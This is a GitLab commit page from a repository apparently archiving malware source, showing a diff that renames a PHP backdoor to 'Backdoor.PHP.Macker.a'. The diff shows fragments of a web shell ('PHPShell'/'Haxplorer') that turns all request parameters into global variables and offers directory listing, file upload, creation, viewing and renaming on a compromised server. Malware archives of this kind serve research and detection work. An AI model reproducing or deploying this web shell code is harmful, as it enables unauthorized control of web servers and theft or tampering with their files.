Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
MalwareSourceCode
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Container Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Issue analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
backup
MalwareSourceCode
Commits
687be7ff
Unverified
Commit
687be7ff
authored
4 years ago
by
vxunderground
Committed by
GitHub
4 years ago
Browse files
Options
Downloads
Patches
Plain Diff
Rename Backdoor.PHP.PhpShell.l to Backdoor.PHP.Macker.a
parent
4c232d47
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
PHP/Backdoor.PHP.Macker.a
+17
-15
17 additions, 15 deletions
PHP/Backdoor.PHP.Macker.a
with
17 additions
and
15 deletions
PHP/Backdoor.PHP.
PhpShell.l
→
PHP/Backdoor.PHP.
Macker.a
+
17
−
15
View file @
687be7ff
...
...
@@ -42,24 +42,26 @@ $scriptTitle = "PHPShell";
$scriptident
=
"
$scriptTitle
by Macker"
;
$urlAdd
=
""
;
$formAdd
=
""
;
$formAdd
=
""
;
function
walkArray
(
$array
){
while
(
list
(
$key
,
$data
)
=
each
(
$array
))
if
(
is_array
(
$data
))
{
walkArray
(
$data
);
}
else
{
global
$$key
;
$$key
=
$data
;
global
$urlAdd
;
$urlAdd
.
=
"
$key
="
.
urlencode
(
$data
)
.
"&"
;}
}
if
(
isset
(
$_PUT
))
walkArray
(
$_PUT
);
if
(
isset
(
$_GET
))
walkArray
(
$_GET
);
if
(
isset
(
$_POST
))
walkArray
(
$_POST
);
$pos
=
strpos
(
$urlAdd
,
"s=r"
);
if
(
strval
(
$pos
)
!=
""
)
{
$urlAdd
=
substr
(
$urlAdd
,
0
,
$pos
);
}
$urlAdd
.
=
"&s=r&"
;
$pos
=
strpos
(
$urlAdd
,
"s=r"
);
if
(
strval
(
$pos
)
!=
""
)
{
$urlAdd
=
substr
(
$urlAdd
,
0
,
$pos
);
}
$urlAdd
.
=
"&s=r&"
;
if
(
empty
(
$Pmax
))
$Pmax
=
125
;
/* Identifies the max amount of Directories and files listed on one page */
if
(
empty
(
$Pidx
))
...
...
@@ -476,9 +478,9 @@ if ( $cmd=="dir" ) {
echo
"<td NOWRAP align=
\"
right
\"
class=
\"
top right
$tdcolor
\"
NOWRAP >
\n
"
;
$size
=
@
filesize
(
"
$dir
/
$file
"
);
If
(
$size
!=
false
)
{
$filesizes
+=
$size
;
$filesizes
+=
$size
;
echo
" <strong>"
.
formatsize
(
$size
)
.
"<strong>"
;
}
}
else
echo
" <strong>0 B<strong>"
;
echo
" </td>
\n
"
;
...
...
@@ -559,8 +561,8 @@ if ( $cmd=="dir" ) {
}
/* <!-- Other Actions --> */
echo
"<tr><td class=
\"
silver border
\"
> <strong>Other actions: </strong> </td>
\n
"
;
echo
"<td> <b>"
.
buildUrl
(
"| New File |"
,
"cmd=newfile&lastcmd=dir&lastdir=
$dir
"
)
.
"
\n
"
.
sp
(
3
)
.
buildUrl
(
"| New Directory |"
,
"cmd=newdir&lastcmd=dir&lastdir=
$dir
"
)
.
"
\n
"
.
sp
(
3
)
.
echo
"<td> <b>"
.
buildUrl
(
"| New File |"
,
"cmd=newfile&lastcmd=dir&lastdir=
$dir
"
)
.
"
\n
"
.
sp
(
3
)
.
buildUrl
(
"| New Directory |"
,
"cmd=newdir&lastcmd=dir&lastdir=
$dir
"
)
.
"
\n
"
.
sp
(
3
)
.
buildUrl
(
"| Upload a File |"
,
"cmd=upload&dir=
$dir
&lastcmd=dir&lastdir=
$dir
"
)
.
"</b>
\n
</td></tr>
\n
"
;
echo
"<tr><td class=
\"
silver border
\"
> <strong>Script Location: </strong> </td><td>
$PATH_TRANSLATED
</td></tr>
\n
"
;
echo
"<tr><td class=
\"
silver border
\"
> <strong>Your IP: </strong> </td><td>
$REMOTE_ADDR
</td></tr>
\n
"
;
...
...
@@ -760,12 +762,12 @@ elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
echo
"<form action=
\"
$SFileName
?
$urlAdd
\"
method=
\"
POST
\"
><input type=
\"
hidden
\"
name=
\"
cmd
\"
value=
\"
$lastcmd
\"
><input type=
\"
hidden
\"
name=
\"
dir
\"
value=
\"
$lastdir
\"
><input tabindex=
\"
0
\"
type=
\"
submit
\"
value=
\"
Back to Haxplorer
\"
></form></center>"
;
echo
"<br><br></td></tr></table></center>"
;
}
elseif
(
$cmd
==
"file"
)
{
/* <!-- View a file in text --> */
elseif
(
$cmd
==
"file"
)
{
/* <!-- View a file in text --> */
echo
"<hr>"
;
$fc
=
@
file
(
$file
);
while
(
@
list
(
$ln
,
$line
)
=
each
(
$fc
)
)
{
echo
spacetonbsp
(
@
htmlentities
(
$line
))
.
"<br>
\n
"
;
}
echo
"<hr>"
;
echo
"<hr>"
;
}
elseif
(
$cmd
==
"ren"
)
{
/* <!-- File and Directory Rename --> */
if
(
function_exists
(
'is_dir'
))
{
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment